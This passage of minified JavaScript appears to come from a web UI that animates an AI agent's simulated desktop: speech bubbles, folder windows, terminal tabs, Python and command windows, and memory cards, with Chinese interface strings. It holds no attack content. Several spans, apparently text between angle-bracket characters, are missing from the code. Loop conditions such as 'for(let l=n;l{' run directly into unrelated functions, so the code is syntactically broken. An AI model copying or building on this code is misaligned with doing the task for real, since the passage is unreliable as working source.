0:P.error)=="string"&&t.result.error;if(y("playScene:prefail-check",{scene:e,preStatus:d,preFailed:w,statusPhase:s==null?void 0:s.statusPhase,hasPreviewForScene:r}),w){const B=((L=t==null?void 0:t.result)==null?void 0:L.error)||(t==null?void 0:t.error)||((E=t==null?void 0:t.result)==null?void 0:E.message)||(t==null?void 0:t.message)||"工具执行错误";this.stopProgressBubble(),this.showSpeechBubble(B,{variant:"error",duration:2600});return}y("playScene:start",{scene:e,progressLabel:i,hasPreviewForScene:r,statusPhase:s==null?void 0:s.statusPhase}),e.startsWith("terminal")&&V("playScene:enter",{scene:e,payload:t}),r?o&&this.stopProgressBubble():this.dismissBubble(!0,{force:!0});let p=r&&!o;const x=()=>{!i||p||o||(p=!0,this.progressSceneName=e,this.startProgressBubble(i))},b=()=>{p&&(p=!1,this.stopProgressBubble())};if(i&&!o&&x(),o){const B=(t==null?void 0:t.executionId)??(t==null?void 0:t.id)??((R=t==null?void 0:t.arguments)==null?void 0:R.id)??null;try{const T=await m(B),N=String((T==null?void 0:T.status)||((_=T==null?void 0:T.result)==null?void 0:_.status)||"").toLowerCase(),z=["failed","error"].includes(N)||(T==null?void 0:T.success)===!1||((A=T==null?void 0:T.result)==null?void 0:A.success)===!1||(T==null?void 0:T.error)||typeof((H=T==null?void 0:T.result)==null?void 0:H.error)=="string"&&T.result.error;if(y("playScene:prefetch-result",{scene:e,waitKey:B,preResultStatus:N,preResultFailed:z}),z){const q=(($=T==null?void 0:T.result)==null?void 0:$.error)||(T==null?void 0:T.error)||((C=t==null?void 0:t.result)==null?void 0:C.error)||(t==null?void 0:t.error)||"工具执行错误";this.stopProgressBubble(),this.showSpeechBubble(q,{variant:"error",duration:2600}),y("playScene:skip-after-prefetch-error",{scene:e,message:q});return}}catch{this.stopProgressBubble(),this.showSpeechBubble("工具执行错误",{variant:"error",duration:2600});return}}o?this.playbackLagging=!0:this.playbackLagging=!1;const k={...s,waitForResult:async B=>{var N,z,q,G,F;!o&&!this.playbackLagging&&x();const T=B??(t==null?void 0:t.executionId)??(t==null?void 0:t.id);try{const M=await m(B);ie("playScene:waitForResult:resolved",{scene:e,id:T}),this.playbackLagging=!1;const Q=String((M==null?void 0:M.status)||((N=M==null?void 0:M.result)==null?void 0:N.status)||"").toLowerCase(),ee=["failed","error"].includes(Q)||(M==null?void 0:M.success)===!1||((z=M==null?void 0:M.result)==null?void 0:z.success)===!1||(M==null?void 0:M.error)||typeof((q=M==null?void 0:M.result)==null?void 0:q.error)=="string"&&M.result.error;if(y("playScene:waitForResult:status",{scene:e,id:T,resultStatus:Q,failed:ee}),ee){const ne=((G=M==null?void 0:M.result)==null?void 0:G.error)||(M==null?void 0:M.error)||((F=t==null?void 0:t.result)==null?void 0:F.error)||(t==null?void 0:t.error)||"工具执行错误";throw this.stopProgressBubble(),this.showSpeechBubble(ne,{variant:"error",duration:2600}),new Error("tool-failed")}return M}finally{b()}}};try{await n(t,k)}finally{b(),this.playbackLagging=!1}}stopBubbleTimers(){this.bubbleTimer&&(clearTimeout(this.bubbleTimer),this.bubbleTimer=null),this.clearThinkingBubbleTimer(),this.waitingBubbleTimer&&(clearTimeout(this.waitingBubbleTimer),this.waitingBubbleTimer=null)}dismissBubble(e=!1,t){if(this.progressBubbleActive&&!(t!=null&&t.force))return;const s=this.elements.speechBubble;if(this.stopBubbleTimers(),t!=null&&t.force&&(this.progressBubbleTimer&&(window.clearTimeout(this.progressBubbleTimer),this.progressBubbleTimer=null),this.progressBubbleBase=null,this.progressSceneName=null,this.progressBubbleActive=!1,this.clearThinkingBubbleTimer(),this.waitingBubbleTimer&&(clearTimeout(this.waitingBubbleTimer),this.waitingBubbleTimer=null,this.waitingBubbleBase=null),s.classList.remove("progress"),s.removeAttribute("data-progress")),!s.classList.contains("visible")){e&&(s.classList.remove("thinking","error","info"),s.style.visibility="");return}s.classList.remove("visible","thinking","error","info"),e&&(s.style.visibility="")}startProgressBubble(e){ie("startProgressBubble",{text:e,scene:this.progressSceneName}),this.progressBubbleTimer&&(window.clearTimeout(this.progressBubbleTimer),this.progressBubbleTimer=null),this.progressBubbleBase=e,this.progressBubbleActive=!0;let t=0;const s=()=>{const n=".".repeat(t),i=`${e}${n}`;this.renderProgressBubble(i),t=(t+1)%4,this.progressBubbleTimer=window.setTimeout(s,520)};s()}renderProgressBubble(e){const t=this.elements.speechBubble;t.classList.remove("thinking","error"),t.classList.add("info"),t.classList.add("progress"),t.setAttribute("data-progress","1"),this.elements.bubbleIconSlot.classList.remove("show"),this.elements.bubbleIconSlot.innerHTML="",this.elements.bubbleTextSlot.textContent=e,this.positionBubble(),this.elements.bubbleTextSlot.scrollTop=this.elements.bubbleTextSlot.scrollHeight,t.classList.contains("visible")||(t.style.visibility="visible",requestAnimationFrame(()=>t.classList.add("visible")))}startThinkingBubble(e){this.clearThinkingBubbleTimer(),this.showWaitingBubble(e||"思考中"),this.thinkingBubbleTimer=this.waitingBubbleTimer}clearThinkingBubbleTimer(){this.thinkingBubbleTimer&&(clearInterval(this.thinkingBubbleTimer),this.thinkingBubbleTimer=null),this.thinkingBubblePhase=0}showWaitingBubble(e="等待回复"){this.dismissBubble(!0,{force:!0});const t=this.elements.speechBubble;t.classList.remove("error","thinking","progress"),t.classList.add("info"),this.elements.bubbleIconSlot.classList.remove("show"),this.elements.bubbleIconSlot.innerHTML="",this.waitingBubbleBase=e;let s=0;const n=()=>{const i=".".repeat(s);this.elements.bubbleTextSlot.textContent=`${e}${i}`,this.positionBubble(),s=(s+1)%4,this.waitingBubbleTimer=window.setTimeout(n,520)};n(),requestAnimationFrame(()=>{t.classList.add("visible"),t.style.visibility="visible"})}stopProgressBubble(e){ie("stopProgressBubble",{label:this.progressBubbleBase,scene:this.progressSceneName,preserve:!!(e!=null&&e.preserveBubble)}),this.progressBubbleTimer&&(window.clearTimeout(this.progressBubbleTimer),this.progressBubbleTimer=null);const t=this.elements.speechBubble,s=this.progressBubbleActive&&!(e!=null&&e.preserveBubble)&&t.classList.contains("progress");this.progressBubbleBase=null,this.progressSceneName=null,this.progressBubbleActive=!1,t.classList.remove("progress"),t.removeAttribute("data-progress"),s&&this.dismissBubble(!0,{force:!0})}positionBubble(){if(this.elements.screen.clientWidth<1||this.elements.screen.clientHeight<1)return;const e=this.elements.speechBubble,t=e.getBoundingClientRect(),s=t.width||220,n=t.height||120,i=this.getPointerTip(),r=i.x-oe,o=i.y-n-Oe,l=Math.max(J,this.elements.screen.clientWidth-s-J),c=Math.max(J,this.elements.screen.clientHeight-n-J),a=Math.min(Math.max(J,r),l),m=Math.min(Math.max(J,o),c),d=a+oe-X.x,w=m+n+Oe-X.y;this.updatePointerTransform(d,w,200),e.style.left=`${a}px`,e.style.top=`${m}px`;const p=Math.min(Math.max(oe,Ne),s-Ne);e.style.setProperty("--arrow-offset",`${p}px`)}normalizePathSegments(e){return e?e.replace(/\\/g,"/").split("/").map(t=>t.trim()).filter(Boolean):[]}composePath(e){return e.filter(Boolean).join("/")}normalizeEntryPath(e){return this.composePath(this.normalizePathSegments(e||""))}markPendingCreation(e){const t=this.normalizeEntryPath(e||"");if(t){this.pendingCreateEntries.add(t),this.applyPendingCreationState(t,!0);const s=this.normalizePathSegments(t);if(s.length===1)this.renderDesktopFolders();else if(s.length>1){const n=this.composePath(s.slice(0,-1));this.activeFolder===n&&this.renderFolderEntries(n,!1)}}}releasePendingCreation(e){const t=this.normalizeEntryPath(e||"");if(!t)return;this.pendingCreateEntries.has(t)&&this.pendingCreateEntries.delete(t),this.applyPendingCreationState(t,!1);const s=this.normalizePathSegments(t);if(s.length===1)this.renderDesktopFolders();else if(s.length>1){const n=this.composePath(s.slice(0,-1));this.activeFolder===n&&this.renderFolderEntries(n,!1)}}isCreationPending(e){const t=this.normalizeEntryPath(e||"");return t?this.pendingCreateEntries.has(t):!1}applyPendingCreationState(e,t){const s=this.normalizePathSegments(e),n=s.length===1?s[0]:null,i=this.findFolderEntryElement(e),r=n&&(this.folderIcons.get(n)||this.fileIcons.get(n))||null,o=l=>{l&&(t?(l.classList.remove("visible"),l.classList.add("pending-reveal"),l.style.opacity="0"):(l.classList.remove("pending-reveal"),l.style.opacity="1",requestAnimationFrame(()=>l.classList.add("visible"))))};o(i),o(r)}preparePendingCreation(e){this.markPendingCreation(e)}lockDesktopRender(){this.desktopRenderLocked=!0}unlockDesktopRender(){var e;if(this.desktopRenderLocked&&(this.desktopRenderLocked=!1,y("desktopRender:unlock",{pending:((e=this.pendingDesktopRoots)==null?void 0:e.length)||0}),this.pendingDesktopRoots)){const t=this.pendingDesktopRoots;this.pendingDesktopRoots=null,this.setDesktopRoots(t,{immediate:!0})}}ensureFolderKey(e){e&&(this.folderEntries.has(e)||this.folderEntries.set(e,[]))}refreshFolderIconStates(){this.folderIcons.forEach((e,t)=>{this.setFolderIconState(t)})}async loadFolderEntries(e){var s;const t=e||"";try{const i=await(await fetch(`/api/gui/files/entries?path=${encodeURIComponent(t)}`,{method:"GET",credentials:"include",headers:{Accept:"application/json"}})).json().catch(()=>null);if(!(i!=null&&i.success))return;const o=(Array.isArray((s=i==null?void 0:i.data)==null?void 0:s.items)?i.data.items:[]).map(l=>{const c=(l==null?void 0:l.path)||this.composePath([t,l==null?void 0:l.name].filter(Boolean));return{name:(l==null?void 0:l.name)||"",path:this.normalizeEntryPath(c),type:(l==null?void 0:l.type)==="directory"?"folder":"file"}});this.folderEntries.set(t,o)}catch(n){console.warn("[MonitorDirector] loadFolderEntries failed",t,n)}}renderFolderEntries(e,t=!0){this.ensureFolderKey(e);const s=this.folderEntries.get(e)||[];this.elements.folderBody.innerHTML="",s.forEach(n=>{const i=document.createElement("div");i.className="folder-entry",i.dataset.entryName=n.name,i.dataset.entryPath=n.path;const r=document.createElement("img");r.src=n.type==="folder"?this.assets.folderIcon:this.assets.fileIcon,r.alt=n.name;const o=document.createElement("span");o.textContent=n.name,i.appendChild(r),i.appendChild(o),this.elements.folderBody.appendChild(i);const l=this.isCreationPending(n.path);if(l&&(i.classList.add("pending-reveal"),i.style.opacity="0"),!t||l){l||i.classList.add("visible");return}requestAnimationFrame(()=>{l||i.classList.add("visible")})})}upsertFolderEntry(e,t,s={}){if(!e)return;this.ensureFolderKey(e);const n=this.composePath([e,t.name].filter(Boolean)),i=this.folderEntries.get(e)||[],r=i.findIndex(o=>o.name===t.name&&o.type===t.type);r>=0?i[r]={...t,path:n}:i.push({...t,path:n}),this.folderEntries.set(e,i),this.activeFolder===e&&this.renderFolderEntries(e,s.animate!==!1)}findFolderEntryElement(e){return e?this.elements.folderBody.querySelector(`[data-entry-path="${e}"]`):null}async doubleClickDesktopFolder(e){let t=this.folderIcons.get(e);t||(t=this.spawnDesktopFolder(e)),t&&(this.ensureFolderKey(e),await this.movePointerToElement(t,{duration:720}),await this.click({count:2}),await u(180),await this.openFolder(e,e),await u(60))}async doubleClickFolderEntry(e){const t=this.findFolderEntryElement(e);t&&(await this.movePointerToElement(t,{duration:620}),await this.click({count:2}),await u(200))}async revealFileTarget(e,t={}){const s=this.normalizePathSegments(e),n=s.pop()||e;if(!n)return null;if(s.length){const r=await this.openFolderChain(s);if(!r)return null;this.upsertFolderEntry(r,{name:n,type:"file"},{animate:!1}),await this.openFolder(r,r),await u(40);const o=this.composePath([r,n]),l=this.findFolderEntryElement(o);return l?(await this.movePointerToElement(l,{duration:620}),t.doubleClick&&(await this.click({count:2}),await u(200)),{element:l,entryPath:o,parentKey:r}):null}let i=this.fileIcons.get(n);return!i&&t.spawnDesktopFile&&(i=this.spawnDesktopFile(n)),i?(await this.movePointerToElement(i,{duration:620}),t.doubleClick&&(await this.click({count:2}),await u(200)),{element:i,entryPath:n,parentKey:null}):null}async openFileMenuAction(e,t){if(!e)return!1;await this.movePointerToElement(e,{duration:540}),await this.click(),this.showContextMenu("file"),await u(160);const s=await this.highlightMenu("file",t);return s&&await this.click(),this.hideContextMenus(),s}async openFolderChain(e){if(!e.length)return null;const t=e.slice();let s=null,n=0;const i=this.isWindowVisible(this.elements.folderWindow),r=this.activeFolder?this.normalizePathSegments(this.activeFolder):[],o=r.length&&r.length<=t.length&&r.every((l,c)=>l===t[c]);if(!i||!o){const l=t[0];await this.doubleClickDesktopFolder(l),s=l,n=1}else s=this.composePath(r),n=r.length,await this.openFolder(s,s),await u(40);for(let l=n;l{const t=document.createElement("div");t.className="desktop-icon app",t.dataset.appId=e.id;const s=document.createElement("img");s.src=this.assets.apps[e.assetKey]||this.assets.apps.browser,s.alt=e.label,t.appendChild(s);const n=document.createElement("span");n.textContent=e.label,t.appendChild(n),this.elements.appsGrid.appendChild(t),this.appIcons.set(e.id,t)}),this.renderDesktopFolders()}renderDesktopFolders(){const e=this.elements.desktopGrid;if(!e)return;const t=this.desktopRoots.filter(r=>!this.pendingDesktopFolders.has(r)&&!this.isCreationPending(r)),s=new Set(this.desktopRoots);Array.from(this.folderIcons.entries()).forEach(([r,o])=>{(!s.has(r)||this.isCreationPending(r))&&(o.parentElement===e&&e.removeChild(o),this.folderIcons.delete(r))}),this.desktopRoots.forEach(r=>{let o=this.folderIcons.get(r)||null;o||(o=this.createDesktopFolderIcon(r),this.folderIcons.set(r,o)),this.pendingDesktopFolders.has(r)||this.isCreationPending(r)?(o.classList.remove("visible"),o.classList.add("pending-reveal"),o.parentElement===e&&e.removeChild(o)):o.classList.remove("pending-reveal")});const n=Array.from(e.querySelectorAll("[data-folder-name]")).map(r=>r.dataset.folderName||"");let i=t.length!==n.length;if(!i){for(let r=0;rc.remove());const o=Array.from(e.children).find(c=>c instanceof HTMLElement?!c.dataset.folderName:!1)||null;let l=null;t.forEach(c=>{const a=this.folderIcons.get(c);if(!a)return;const m=l?l.nextSibling:o;m?e.insertBefore(a,m):e.appendChild(a),!a.classList.contains("visible")&&!this.isCreationPending(c)&&requestAnimationFrame(()=>a.classList.add("visible")),l=a})}}prepareExtractionTemplate(){const e=this.elements.extractionWindow;!e||this.extractionTemplate||(e.classList.add("extraction-template"),e.style.display="none",e.classList.remove("visible","closing"),this.extractionTemplate={id:"template",element:e,urlEl:this.elements.extractionUrl,stateEl:this.elements.extractionState,summaryEl:this.elements.extractionSummary,titleEl:e.querySelector(".window-title")},this.windowAnchors.delete(e))}createExtractionWindowDom(){let e;this.extractionTemplate?e=this.extractionTemplate.element.cloneNode(!0):e=this.buildExtractionWindowDom(),e.classList.remove("extraction-template"),e.style.display="",e.classList.remove("visible","closing");const t=e.querySelector(".extraction-body")||e;let s=e.querySelector(".extract-url");s||(s=document.createElement("div"),s.className="extract-url",t.appendChild(s));let n=e.querySelector(".extract-status");n||(n=document.createElement("div"),n.className="extract-status",t.appendChild(n));let i=e.querySelector(".extract-summary");i||(i=document.createElement("div"),i.className="extract-summary",t.appendChild(i));const r=e.querySelector(".window-title");return{id:"",element:e,urlEl:s,stateEl:n,summaryEl:i,titleEl:r}}buildExtractionWindowDom(){const e=document.createElement("div");e.className="window extraction-window";const t=document.createElement("div");t.className="window-header",["red","yellow","green"].forEach(l=>{const c=document.createElement("span");c.className=`traffic-dot ${l}`,t.appendChild(c)});const s=document.createElement("span");s.className="window-title",s.textContent="网页提取",t.appendChild(s),e.appendChild(t);const n=document.createElement("div");n.className="extraction-body";const i=document.createElement("div");i.className="extract-url",n.appendChild(i);const r=document.createElement("div");r.className="extract-status",r.textContent="等待提取",n.appendChild(r);const o=document.createElement("div");return o.className="extract-summary",n.appendChild(o),e.appendChild(n),e}ensureExtractionWindowInstance(e,t){const s=e||this.nextExtractionId();if(this.extractionWindows.has(s))return this.extractionWindows.get(s);const n=this.createExtractionWindowDom();n.id=s,n.element.dataset.extractId=s,this.elements.screen.appendChild(n.element);const i=this.computeExtractionAnchor(this.extractionWindows.size);this.windowAnchors.set(n.element,i),this.positionWindow(n.element,i),this.extractionWindows.set(s,n);const r=this.extractionWindows.size;if(n.titleEl){const o=t!=null&&t.title&&t.title.trim().length?t.title.trim():"网页提取";n.titleEl.textContent=r>1?`${o} #${r}`:o}return t!=null&&t.url&&(n.element.dataset.extractUrl=t.url),n}computeExtractionAnchor(e){const s=Math.floor(e/2),n=e%2,i=.2,r=.3,o=Math.min(.92,this.extractionAnchor.x+s*i),l=Math.min(.9,this.extractionAnchor.y+n*r);return{x:o,y:l}}clearExtractionWindows(){this.extractionWindows.forEach(e=>{this.closeWindow(e.element,{animate:!1}),this.windowAnchors.delete(e.element),this.manualPositions.delete(e.element),e.element.remove()}),this.extractionWindows.clear()}clearTerminalSessions(){this.terminalSessions.clear(),this.terminalSessionTitleMap.clear(),this.terminalSessionNames.clear(),this.terminalHistories.clear(),this.activeTerminalSessionId=null,this.lastTerminalSessionId=null,this.terminalContextSessionId=null,this.terminalLastFocusedAt=0,this.elements.terminalBody&&(this.elements.terminalBody.innerHTML=""),this.renderTerminalTabs()}purgeExtractionWindowByElement(e){for(const[t,s]of this.extractionWindows.entries())if(s.element===e){this.extractionWindows.delete(t),this.windowAnchors.delete(s.element),this.manualPositions.delete(s.element),setTimeout(()=>{s.element.remove()},340);break}}generateNewSessionId(){return`session-${Date.now()}-${Math.random().toString(36).slice(2,6)}`}isTerminalWindowOnTop(e){return e!=null&&e.element?(this.windowOrder[this.windowOrder.length-1]||null)===e.element:!1}resetCommandWindow(e="命令行",t={}){this.elements.commandTitle&&(this.elements.commandTitle.textContent=e),this.elements.commandInput&&(this.elements.commandInput.textContent=""),t.clearOutput&&this.elements.commandOutput&&(this.elements.commandOutput.innerHTML=""),this.commandCurrentText=""}async revealCommandWindow(e="命令行",t={}){const{reset:s=!0,focusInput:n=!1}=t;this.isWindowVisible(this.elements.commandWindow)||(await this.movePointerToApp("command"),await this.click()),s?this.resetCommandWindow(e,{clearOutput:!0}):this.elements.commandTitle&&(this.elements.commandTitle.textContent=e),this.showWindow(this.elements.commandWindow),n&&await this.focusCommandInput()}async focusCommandInput(){this.elements.commandInput&&(await this.movePointerToElement(this.elements.commandInput,{duration:360}),await this.click())}async typeCommandText(e){if(!this.elements.commandInput)return;const t=this.elements.commandInput;await this.focusCommandInput();const s=this.commandCurrentText;if(s){const n=s.length,i=1+Math.min(n/40,6),r=Math.max(6,Math.floor(18/i));for(let o=n;o>0;o-=1)t.textContent=s.slice(0,o-1),await u(r);this.commandCurrentText=""}await this.typeSmartText(t,e),this.commandCurrentText=e}appendCommandOutput(e){if(!this.elements.commandOutput)return;const t=document.createDocumentFragment();e.forEach(s=>{const n=document.createElement("div");n.className="command-line",n.textContent=s,t.appendChild(n)}),this.elements.commandOutput.appendChild(t),this.elements.commandOutput.scrollTop=this.elements.commandOutput.scrollHeight}resetPythonWindow(e="Python"){this.elements.pythonTitle&&(this.elements.pythonTitle.textContent=e),this.elements.pythonInput&&(this.elements.pythonInput.textContent=""),this.elements.pythonOutput&&(this.elements.pythonOutput.innerHTML="")}appendPythonOutput(e,t){if(!this.elements.pythonOutput)return;const s=document.createElement("div");s.className="python-block output";const n=document.createElement("div");n.className="python-block-title",n.textContent=e;const i=document.createElement("pre");i.textContent=t,s.appendChild(n),s.appendChild(i),this.elements.pythonOutput.innerHTML="",this.elements.pythonOutput.appendChild(s),this.scrollPythonToResult()}async revealPythonWindow(e="Python"){await this.movePointerToApp("python"),await this.click(),this.resetPythonWindow(e),this.showWindow(this.elements.pythonWindow)}async focusPythonInput(){this.elements.pythonInput&&(await this.movePointerToElement(this.elements.pythonInput,{duration:360}),await this.click())}async typePythonCode(e,t={}){if(!this.elements.pythonInput)return;const{deletePrevious:s=!0,animate:n=!0}=t,i=this.elements.pythonInput;if(s&&(i.textContent=""),await this.focusPythonInput(),!n){i.textContent=e;return}await this.typeSmartText(i,e)}async typeSmartText(e,t,s=!1){const n=t.split(` +`),i=s||n.length>2||t.length>120,r=32;if(i){e.textContent="";for(let l=0;l0?` +`:"")+n[l],await u(Math.max(12,r-Math.min(l,6)*3));return}const o=Array.from(t);for(const l of o)e.textContent=(e.textContent||"")+l,await u(18)}scrollPythonToTop(){this.elements.pythonBody&&this.elements.pythonBody.scrollTo({top:0,behavior:"smooth"})}scrollPythonToResult(){if(this.elements.pythonBody&&this.elements.pythonOutput){const e=this.elements.pythonOutput.offsetTop-this.elements.pythonBody.offsetTop;this.elements.pythonBody.scrollTo({top:e,behavior:"smooth"})}}async ensureMemoryWindowVisible(e={}){const{initialEntries:t,snapshotProvided:s=!1,memoryType:n="main"}=e,i=async()=>{if(s){this.renderMemoryEntries(t||[]);return}this.getMemoryItems().length||await this.loadMemoryEntries(n)};if(this.isWindowVisible(this.elements.memoryWindow)){this.showWindow(this.elements.memoryWindow),(!this.getMemoryItems().length||s)&&await i();return}await this.movePointerToApp("memory"),await this.click(),this.showWindow(this.elements.memoryWindow),await i()}getMemoryItems(){return this.elements.memoryList?Array.from(this.elements.memoryList.children):[]}extractMemorySnapshotEntries(e,t="before"){const s=t==="after"?"monitor_snapshot_after":"monitor_snapshot",n=e==null?void 0:e[s],i=n==null?void 0:n.entries;return Array.isArray(i)?{entries:i.map(r=>String(r??"")),provided:!0}:{entries:[],provided:!!n}}getMemoryItemByIndex(e){const t=this.getMemoryItems();return!e||e<1||e>t.length?null:t[e-1]}async waitForScrollSettled(e,t,s=600){const n=Date.now();return new Promise(i=>{const r=()=>{const o=Math.abs(e.scrollTop-t)<2,l=Date.now()-n>s;if(o||l){i();return}requestAnimationFrame(r)};requestAnimationFrame(r)})}async scrollMemoryToBottom(e=200){const t=this.elements.memoryList;if(!t)return;const s=t.scrollHeight;t.scrollTo({top:s,behavior:"smooth"}),await this.waitForScrollSettled(t,s),this.latestMemoryScroll=Date.now(),e>0&&await u(e)}async scrollMemoryItemIntoView(e,t=200){if(!e)return;const s=this.elements.memoryList;if(!s)return;const n=e.offsetTop-s.clientHeight*.35,i=Math.max(0,n);s.scrollTo({top:i,behavior:"smooth"}),await this.waitForScrollSettled(s,i),this.latestMemoryScroll=Date.now(),t>0&&await u(t)}ensureMemoryTypingVisible(e){if(!e)return;const t=this.elements.memoryList;if(!t)return;const s=t.scrollTop,n=s+t.clientHeight,i=e.offsetTop,r=i+e.offsetHeight;if(r>n-4){const o=r-n+12;t.scrollTop=s+o,this.latestMemoryScroll=Date.now()}else i0;l--)n.textContent=o.slice(0,l-1),await u(18)}const i=Array.from(t);let r=0;for(const o of i)r+=1,n.textContent=(n.textContent||"")+o,r%4===0&&this.ensureMemoryTypingVisible(e),await u(18);this.ensureMemoryTypingVisible(e)}async animateMemoryAppend(e){if(!this.elements.memoryList)return;await this.scrollMemoryToBottom();const t=this.createMemoryCard("");this.elements.memoryList.appendChild(t),requestAnimationFrame(()=>t.classList.add("visible")),await u(160),await this.scrollMemoryToBottom(),await this.movePointerToElement(t,{duration:420}),await this.click(),this.highlightMemoryCard(t,!0),await this.typeIntoMemoryCard(t,e,{clearFirst:!0}),await this.scrollMemoryItemIntoView(t),this.highlightMemoryCard(t,!1)}async animateMemoryReplace(e,t){const s=this.getMemoryItemByIndex(e);if(!s){await this.animateMemoryAppend(t);return}await this.scrollMemoryItemIntoView(s),await this.movePointerToElement(s,{duration:420}),await this.click(),this.highlightMemoryCard(s,!0),await this.typeIntoMemoryCard(s,t,{clearFirst:!0}),await this.scrollMemoryItemIntoView(s),this.highlightMemoryCard(s,!1)}async animateMemoryDelete(e){const t=this.getMemoryItemByIndex(e);!t||!this.elements.memoryList||(await this.scrollMemoryItemIntoView(t),await this.movePointerToElement(t,{duration:360}),await this.click(),this.highlightMemoryCard(t,!0),t.classList.add("swipe-out"),await this.movePointerToElement(t,{offsetX:t.clientWidth*.45,duration:240}),await u(200),t.remove(),this.highlightMemoryCard(t,!1))}async loadMemoryEntries(e="main"){try{const s=await(await fetch(`/api/memory?type=${encodeURIComponent(e)}`)).json();if(!(s!=null&&s.success)||!Array.isArray(s.entries))return;this.renderMemoryEntries(s.entries)}catch(t){console.warn("loadMemoryEntries failed",t)}}renderMemoryEntries(e){this.elements.memoryList&&(this.elements.memoryList.innerHTML="",e.forEach(t=>{const s=this.createMemoryCard(t);s.classList.add("visible"),this.elements.memoryList.appendChild(s)}),this.updateMemoryMeta())}async revealTerminalWindow(e){await this.movePointerToApp("terminal"),await this.click(),this.showWindow(e.element),e.titleEl&&(e.titleEl.textContent="终端"),this.terminalLastFocusedAt=Date.now()}async focusTerminalHeader(e,t={}){if(!(e!=null&&e.element))return;const s=e.element.querySelector(".window-header"),n=t.force||!this.isTerminalWindowOnTop(e);if(s&&n){await this.movePointerToElement(s,{duration:360}),await this.click(),this.terminalLastFocusedAt=Date.now();return}this.raiseWindowForTarget(e.element)}async focusTerminalPrompt(e,t){var n;this.ensurePromptLine(e);const s=((n=t==null?void 0:t.bodyEl)==null?void 0:n.lastElementChild)||null;return s&&(await this.movePointerToElement(s,{duration:520,offsetX:-6}),await this.click(),this.terminalLastFocusedAt=Date.now()),s}getTerminalHistory(e){return this.terminalHistories.has(e)||this.terminalHistories.set(e,[]),this.terminalHistories.get(e)}renderTerminalHistory(e){const t=this.getTerminalHistory(e),{bodyEl:s}=this.getTerminalInstance();s.innerHTML="",t.forEach(n=>{const i=document.createElement("pre");i.textContent=n.text,n.role==="prompt"?i.className="session-terminal-prompt-line":n.role==="note"&&(i.className="session-terminal-note-line"),s.appendChild(i)}),s.scrollTop=s.scrollHeight}ensurePromptLine(e){const t=this.getTerminalHistory(e);(!t.length||t[t.length-1].role!=="prompt")&&t.push({text:"➜ ",role:"prompt"}),this.renderTerminalHistory(e)}updatePromptText(e,t){const s=this.getTerminalHistory(e);!s.length||s[s.length-1].role!=="prompt"?s.push({text:t,role:"prompt"}):s[s.length-1].text=t,this.renderTerminalHistory(e)}appendTerminalOutputs(e,t,s){const n=this.getTerminalHistory(e);!n.length||n[n.length-1].role!=="prompt"?n.push({text:`➜ ${t}`.trimEnd(),role:"prompt"}):n[n.length-1].text=`➜ ${t}`.trimEnd(),s.forEach(i=>n.push({text:i,role:"output"})),n.push({text:"➜ ",role:"prompt"}),this.renderTerminalHistory(e)}appendTerminalNote(e,t){this.getTerminalHistory(e).push({text:t,role:"note"}),this.renderTerminalHistory(e)}closeTerminalSession(e){this.terminalSessions.delete(e);for(const[s,n]of this.terminalSessionTitleMap.entries())n===e&&this.terminalSessionTitleMap.delete(s);this.terminalSessionNames.delete(e),this.terminalHistories.delete(e),this.activeTerminalSessionId===e&&(this.activeTerminalSessionId=null),this.lastTerminalSessionId===e&&(this.lastTerminalSessionId=null),this.terminalContextSessionId===e&&(this.terminalContextSessionId=null);const t=this.terminalSessions.size?Array.from(this.terminalSessions.keys())[0]:null;if(t)this.activateSession(t);else{this.renderTerminalTabs();const{bodyEl:s}=this.getTerminalInstance();s.innerHTML="";const n=document.createElement("pre");n.textContent="尚未创建终端,点击 + 新建",n.className="session-terminal-note-line",s.appendChild(n)}}async typeSessionCommand(e,t){this.ensurePromptLine(e);const s=this.getTerminalHistory(e),n=s[s.length-1];n.text="➜ ",this.renderTerminalHistory(e);const{bodyEl:i}=this.getTerminalInstance(),r=i.lastElementChild;if(t.length>80||t.split(` +`).length>1){n.text=`➜ ${t}`,r&&(r.textContent=n.text,this.scrollPromptIntoView(this.getTerminalInstance())),await u(50);return}let l=0;const c=t.split("");for(const a of c)l+=1,n.text+=a,r&&(r.textContent=n.text),r&&(l%6===0||l===c.length)&&this.scrollPromptIntoView(this.getTerminalInstance()),await u(32)}getTerminalInstance(){return{element:this.elements.terminalWindow,bodyEl:this.elements.terminalBody,titleEl:this.elements.terminalHeaderText}}nextTerminalName(){const e=Array.from(this.terminalSessions.values()).map(n=>n.name);let t=e.length+1,s=`${Ve}${t}`;for(;e.includes(s);)t+=1,s=`${Ve}${t}`;return s}ensureSessionRecord(e,t,s){const n=(t||s||this.terminalSessionNames.get(e)||"").trim()||this.nextTerminalName();return this.terminalSessions.set(e,{id:e,name:n,rawName:s||t}),this.terminalSessionNames.set(e,n),this.terminalSessionTitleMap.set(n,e),s&&this.terminalRawNameMap.set(s,e),this.terminalHistories.has(e)||this.terminalHistories.set(e,[{text:"➜ ",role:"prompt"}]),this.renderTerminalTabs(),this.terminalSessions.get(e)}createSession(e,t){const s=this.generateNewSessionId();return this.ensureSessionRecord(s,(e||"").trim(),t),s}getTabElement(e){return this.elements.terminalTabList.querySelector(`[data-session-id="${e}"]`)}renderTerminalTabs(){if(!this.elements.terminalTabList||!this.elements.terminalAddButton)return;this.elements.terminalTabList.innerHTML="";const e=Array.from(this.terminalSessions.values()).map(t=>({id:t.id,name:t.name}));if(!e.length){this.elements.terminalAddButton.classList.add("lonely"),this.elements.terminalTabs.appendChild(this.elements.terminalAddButton);return}this.elements.terminalAddButton.classList.remove("lonely"),e.forEach(t=>{const s=document.createElement("button");s.className="terminal-tab",s.dataset.sessionId=t.id,s.textContent=t.name,this.activeTerminalSessionId&&t.id===this.activeTerminalSessionId&&s.classList.add("active"),this.elements.terminalTabList.appendChild(s)}),this.elements.terminalTabs.appendChild(this.elements.terminalAddButton)}activateSession(e){const t=this.terminalSessions.get(e)||this.ensureSessionRecord(e),{element:s,bodyEl:n,titleEl:i}=this.getTerminalInstance();return i&&(i.textContent="终端"),this.activeTerminalSessionId=e,this.lastTerminalSessionId=e,this.renderTerminalTabs(),this.renderTerminalHistory(e),this.showWindow(s),n.scrollTop=n.scrollHeight,this.terminalLastFocusedAt=Date.now(),t}async ensureTerminalSessionReady(e,t={}){var b,k,S,I,P,L,E,R,_,A;const{focusPrompt:s=!1,createIfMissing:n=!0,forceNew:i=!1,activate:r=!0}=t,o=((b=e==null?void 0:e.arguments)==null?void 0:b.create_new)===!0||((k=e==null?void 0:e.arguments)==null?void 0:k.new_session)===!0||((S=e==null?void 0:e.arguments)==null?void 0:S.force_new)===!0||((I=e==null?void 